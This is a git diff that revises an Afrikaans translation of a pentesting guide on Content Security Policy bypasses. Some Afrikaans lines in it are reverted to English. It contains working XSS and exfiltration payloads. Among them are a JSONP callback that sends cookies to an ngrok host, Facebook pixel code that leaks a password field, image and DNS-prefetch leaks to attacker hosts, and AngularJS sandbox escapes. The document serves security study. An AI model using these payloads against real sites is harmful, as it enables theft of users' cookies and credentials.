Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM

2025-10-10 18:36:50 +00:00 · 2025-01-26 15:24:24 +00:00 · 2025-01-26 15:24:24 +00:00 · 44b982fecc
commit 44b982fecc
parent 9124894467
1 changed files with 67 additions and 54 deletions
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@ -8,7 +8,7 @@ Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemi

 Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.

- Geïmplementeer via antwoordkop:
+- Implemented via response header:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;

 CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste:

- `Content-Security-Policy`: Dwing die CSP af; die blaaier blokkeer enige oortredings.
+- `Content-Security-Policy`: Dwing die CSP af; die blaaiert blokkeer enige oortredings.
 - `Content-Security-Policy-Report-Only`: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.

 ### Defining Resources
@ -53,7 +53,7 @@ object-src 'none';
 - **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `<base>` elemente.
 - **form-action**: Lys geldige eindpunte vir vormindienings.
 - **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
- **upgrade-insecure-requests**: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf.
+- **upgrade-insecure-requests**: Gee opdrag aan blaaiers om HTTP-URL's na HTTPS te herskryf.
 - **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n `<iframe>`.
 - **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word indien die beleid oortree word.
 - **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
@ -67,7 +67,7 @@ object-src 'none';
 - `'data'`: Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gecodeerde beelde).
 - `'none'`: Blokkeer laai vanaf enige bron.
 - `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir sekuriteitsredes nie.
- `'unsafe-hashes'`: Aktiveer spesifieke inline gebeurtenishandlers.
+- `'unsafe-hashes'`: Stel spesifieke inline gebeurtenishandlers in staat.
 - `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir sekuriteitsredes nie.
 - `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (nommer wat een keer gebruik word) gebruik.
 - As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan te hergebruik om 'n kwaadwillige skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
@ -159,20 +159,20 @@ Werkende payload:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-However, dit is hoogs waarskynlik dat die bediener **die opgelaaide lêer valideer** en slegs sal toelaat dat jy **bepaalde tipe lêers oplaai**.
+However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.

-Boonop, selfs al kon jy 'n **JS-kode binne** 'n lêer oplaai met 'n uitbreiding wat deur die bediener aanvaar word (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos die apache bediener **die MIME-tipe van die lêer op grond van die uitbreiding kies** en blaaiers soos Chrome sal **weier om Javascript**-kode binne iets wat 'n beeld behoort te wees, uit te voer. "Hopelik", is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet** van die _**.wave**_ uitbreiding nie, daarom dien dit nie met 'n **MIME-tipe soos audio/\***.
+Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.

-Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n **misverstandige uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n polyglot ([sommige polyglot voorbeelde hier](https://github.com/Polydet/polyglot-database)).
+From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).

 ### Form-action

-As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te eksfiltreer **deur 'n vorm aksie in te voeg** (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vorm aksies dek nie.
+As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te ontvlug deur **'n vorm aksie in te voeg** (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vorm aksies dek nie.

-### Derdeparty Eindpunte + ('unsafe-eval')
+### Third Party Endpoints + ('unsafe-eval')

 > [!WARNING]
-> Vir sommige van die volgende payloads **is `unsafe-eval` selfs nie nodig nie**.
+> Vir sommige van die volgende payloads **`unsafe-eval` is nie eens nodig nie**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window` objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window`-objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

 > [!NOTE]
-> Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window` objek teruggee** kan nagaan.
+> Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window`-objek teruggee** kan nagaan.
 ```markup
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -232,7 +232,7 @@ Angular XSS vanaf 'n klasnaam:
 ```
 #### Misbruik van google recaptcha JS kode

-Volgens [**hierdie CTF-skrywe**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om arbitrêre JS kode uit te voer en die CSP te omseil:
+Volgens [**hierdie CTF skrywe**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om arbitrêre JS kode uit te voer en die CSP te omseil:
 ```html
 <div
 ng-controller="CarouselController as c"
@ -274,7 +274,7 @@ Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Scenario's soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
+Scenario's soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word met behulp van JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -290,20 +290,20 @@ Die dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Open Redir

 ### Derdeparty Misbruik

-Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekstrapoleer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:
+Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekfiltreer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:

 | Entiteit          | Toegelate Domein                            | Vermoëns     |
 | ----------------- | ------------------------------------------- | ------------- |
-| Facebook          | www.facebook.com, \*.facebook.com           | Ekstrapoleer  |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Ekstrapoleer  |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Voer uit      |
-| Amazon CloudFront | \*.cloudfront.net                           | Ekstrapoleer, Voer uit |
-| Amazon AWS        | \*.amazonaws.com                            | Ekstrapoleer, Voer uit |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Ekstrapoleer, Voer uit |
-| Salesforce Heroku | \*.herokuapp.com                            | Ekstrapoleer, Voer uit |
-| Google Firebase   | \*.firebaseapp.com                          | Ekstrapoleer, Voer uit |
+| Facebook          | www.facebook.com, \*.facebook.com           | Exfil         |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil         |
+| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec          |
+| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec   |
+| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec   |
+| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec   |
+| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec   |
+| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec   |

-As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekstrapoleer óf kode uit te voer.
+As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekfiltreer óf kode uit te voer.

 Byvoorbeeld, as jy die volgende CSP vind:
 ```
@ -317,19 +317,19 @@ U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen

 1. Skep 'n Facebook Developer-rekening hier.
 2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
-3. Gaan na "Instellings -> Basies" en kry u "App ID".
-4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur direk die Facebook SDK gadget "fbq" te gebruik deur 'n "customEvent" en die datalaai.
-5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
-6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.
+3. Gaan na "Instellings -> Basies" en kry jou "App ID".
+4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur die Facebook SDK gadget "fbq" direk te gebruik deur 'n "customEvent" en die dataload.
+5. Gaan na jou App "Event Manager" en kies die toepassing wat jy geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
+6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.

-Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-opsporing pixel te initialiseer om na die aanvaller se Facebook ontwikkelaar rekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
+Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-volgpixel te initialiseer om na die aanvaller se Facebook-ontwikkelaarrekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
 ```JavaScript
 fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 });
 ```
-Wat die ander sewe derdeparty-domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir bykomende verduidelikings oor ander derdeparty-misbruik.
+Wat die ander sewe derdeparty-domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blog pos](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir addisionele verduidelikings oor ander derdeparty-misbruik.

 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

@ -341,13 +341,13 @@ Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan di
 ```
 Die blaaiers sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.

-Dit werk omdat jy vir die blaier 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
+Dit werk omdat jy vir die blaaiers 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.

 ∑, hulle sal dit decodeer, wat effektief `https://example.com/scripts/react/../angular/angular.js` versoek, wat gelyk is aan `https://example.com/scripts/angular/angular.js`.

-Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaier en die bediener te benut, kan die padreëls omseil word**.
+Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaiers en die bediener te benut, kan die padreëls omseil word**.

-Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaier en die bediener verseker om hierdie probleem te vermy.
+Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaaiers en die bediener verseker om hierdie probleem te vermy.

 Aanlyn Voorbeeld:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

@ -368,14 +368,14 @@ As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS-URL in die ba
 ```
 ### AngularJS gebeurtenisse

-'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel persoonlike gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiersgebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik is dat, in Chrome, die `$event/event` objek 'n `path` attribuut het, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
+'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel pasgemaakte gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiersgebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik, in Chrome, het die `$event/event` objek 'n `path` attribuut, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.

 Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te herhaal, en die terminale element (die `window` objek) te benut om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, deur `$event.path|orderBy` te gebruik om die `path`-array te manipuleer, en die `window`-objek te benut om die `alert()`-funksie uit te voer, wat `document.cookie` onthul.
+Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, wat `$event.path|orderBy` gebruik om die `path` array te manipuleer, en die `window` objek benut om die `alert()` funksie uit te voer, wat `document.cookie` onthul.

 **Vind ander Angular omseilings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

@ -395,11 +395,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 ```
 Ander JSONP arbitrêre uitvoerings eindpunte kan gevind word in [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige van hulle is verwyder of reggestel)

-### Bypass deur Herleiding
+### Bypass deur Hergidsering

-Wat gebeur wanneer CSP server-kant herleiding teëkom? As die herleiding na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
+Wat gebeur wanneer CSP server-kant hergidsering teëkom? As die hergidsering na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

-E however, volgens die beskrywing in [CSP spesifikasie 4.2.2.3. Paaie en Herleidings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiding na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
+E however, volgens die beskrywing in [CSP spesifikasie 4.2.2.3. Paaie en Hergidserings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die hergidsering na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

 Hier is 'n voorbeeld:
 ```html
@ -427,7 +427,7 @@ Met hierdie herleiding, selfs al is die pad heeltemal gespesifiseer, sal dit ste

 Daarom is die beste oplossing om te verseker dat die webwerf geen oop herleiding kwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.

-### Omseil CSP met hangende merk
+### Omseil CSP met hangende merkup

 Lees [hoe hier](../dangling-markup-html-scriptless-injection/index.html).

@ -435,7 +435,7 @@ Lees [hoe hier](../dangling-markup-html-scriptless-injection/index.html).
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige hulpbron op die webblad kan gebruik.
+`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webblad kan gebruik.

 Jy kan hierdie CSP omseil deur die data via beelde te exfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en die vlag via 'n beeld onttrek):
 ```javascript
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

-Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

 ### Met Dienswerkers

@ -462,7 +462,7 @@ Dienswerkers **`importScripts`** funksie is nie beperk deur CSP nie:

 #### Chrome

-As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
+As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,7 +478,7 @@ Voorbeeld: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=
 ### img-src \*; via XSS (iframe) - Tydaanval

 Let op die gebrek aan die riglyn `'unsafe-inline'`\
-Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy benodig om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
+Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.

 Hierdie keer gaan 'n **vlag** onttrek word, wanneer 'n **karakter korrek geraai** word via SQLi neem die **antwoord** **meer tyd** weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
 ```html
@ -542,7 +542,7 @@ run()
 ```
 ### Via Bookmarklets

-Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadaardige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
+Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadwillige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.

 Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

@ -568,7 +568,7 @@ content="script-src 'self'
 ```
 ### JS eksfiltrasie met Content-Security-Policy-Report-Only

-As jy daarin slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
+As jy daarin slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer, met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.

 Vir 'n voorbeeld [**kyk na hierdie CTF-skrywe**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

@ -581,7 +581,7 @@ document.querySelector("DIV").innerHTML =

 - 'n `iframe` word geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
 - Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waarnatoe die aanvanklike URL omgelei het.
+- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waartoe die aanvanklike URL omgelei het.

 Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.

@ -591,7 +591,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
 ```
 Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.

-Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
+Albei metodes benut die nuanses van CSP-implementasie en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.

 Trick from [**here**](https://ctftime.org/writeup/29310).

@ -632,7 +632,7 @@ Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.n

 ## CSP Exfiltration Bypasses

-As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
+As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekfiltreer.

 ### Location

@ -649,8 +649,8 @@ Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie
 ```
 ### DNS Prefetch

-Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas.\
-Jy kan 'n blaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
+Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP-adresse en dit vir later gebruik kas.\
+Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`

 Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS versoeke te exfiltreer**:
 ```javascript
@ -662,25 +662,25 @@ body.innerHTML +
 sessionid +
 'attacker.ch">'
 ```
-'n Ander manier:
+Nog 'n manier:
 ```javascript
 const linkEl = document.createElement("link")
 linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur:
+Om te verhoed dat dit gebeur, kan die bediener die HTTP-kopstuk stuur:
 ```
 X-DNS-Prefetch-Control: off
 ```
 > [!NOTE]
-> Blykbaar werk hierdie tegniek nie in koplose blaaiers (bots) nie
+> Blykbaar werk hierdie tegniek nie in headless blaaiers (bots) nie

 ### WebRTC

 Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie.

